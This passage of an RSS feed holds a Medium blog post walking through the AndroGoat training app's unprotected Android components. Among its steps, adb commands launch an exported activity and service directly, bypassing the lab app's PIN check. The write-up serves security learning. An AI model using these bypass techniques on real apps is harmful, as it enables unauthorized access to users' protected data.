MSTG</h3><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0001/">MASTG-TEST-0001: Testing Local Storage for Sensitive Data</a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0003/">MASTG-TEST-0003: Testing Logs for Sensitive Data</a></li></ul><h3>Next Step</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It’s packed with topics like insecure data storage, unprotected components, and more. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2887c1a524a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Deep Dive into Unprotected Android Components]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-unprotected-android-components-f3ba7c4bbb22?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3ba7c4bbb22</guid>
            <category><![CDATA[training]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Wed, 28 May 2025 19:02:06 GMT</pubDate>
            <atom:updated>2025-05-28T19:05:56.836Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives of This Post</h3><p>In this post, we’ll explore common vulnerabilities related to unprotected Android components in the AndroGoat app. Our objectives are:</p><ol><li>Understand what unprotected or exportable Android components are.</li><li>Log in without PIN verification by launching an activity.</li><li>Understand custom URL schemes.</li><li>Log in using a custom URL scheme.</li><li>Download an invoice without PIN verification.</li></ol><h3>Unprotected Android Components</h3><h3>What Are Unprotected/Exportable Components?</h3><p>Android components (activities, services, content providers, broadcast receivers) can be exported to allow interaction with other apps. When these components lack proper permission checks, they become unprotected, posing security risks. Attackers can exploit them to perform unauthorized actions or access sensitive data.</p><h3>Login without PIN Verification</h3><h4>The Challenge</h4><p>Bypass the PIN login screen by directly launching a protected activity.</p><h4>Solution Steps</h4><ul><li>Set a PIN in the App: Start by setting a PIN in the AndroGoat app through the UI.</li><li>Launch the App and Navigate: Use the app to log in with the PIN you set. You’ll be directed to a page where you can download an invoice.</li><li>Analyze with jadx: Open jadx and examine the code. Double-click on AccessControlIssueActivity in the AndroidManifest.xml to view its code.</li><li>Understand the Code Logic: From the code, it’s clear that after a PIN is set, it’s stored in the sharedPreferences folder. On a rooted device, this folder is accessible. Before storage, the PIN undergoes hashing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5R9iNEr_2Ix-Foxq5xNufg.png" /></figure><ul><li>PIN Encryption Insight: Our PIN is encrypted using MD5. While decrypting the stored PIN is theoretically possible, we won’t pursue this approach as it doesn’t align with our current objective.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5Ejp2JvuBQm0NP8JT9Sbg.png" /></figure><ul><li>Bypass Login Directly: If we enter the correct PIN, it triggers the AccessControlViewActivity. We can invoke this activity directly using the terminal command below, bypassing the PIN login</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQ3zbB9z2al00qePSi9gtA.png" /></figure><pre>adb shell am start -n owasp.sat.agoat/.AccessControl1ViewActivity</pre><h3>Download Invoice Without Verification</h3><h4>The Challenge</h4><p>Access and download a protected invoice without going through PIN verification.</p><h4>Solution Steps</h4><ul><li>Code Analysis: Analyze the code in AccessControlViewActivity and discover that pressing a button calls the startService method, which launches the DownloadInvoiceService class.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLCDgs0bOJupqATY8MOgMg.png" /></figure><ul><li>Examine Service Code: Double-click on DownloadInvoiceService to view its code. Notice the absence of authentication and permission checks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK4MeEU57FHZsuQzKP-Pkw.png" /></figure><ul><li>Access Invoice Data: After running the command, you can access the invoice data without proper verification.</li></ul><pre>adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService</pre><h3>References</h3><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0001/">MASTG-TEST-0001: Testing Local Storage for Sensitive Data</a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/">MASTG-TEST-0029: Testing for Sensitive Functionality Exposure Through IPC</a></li></ul><h3>Next Steps</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It’s packed with topics like insecure data storage, unprotected components, and more. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3ba7c4bbb22" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>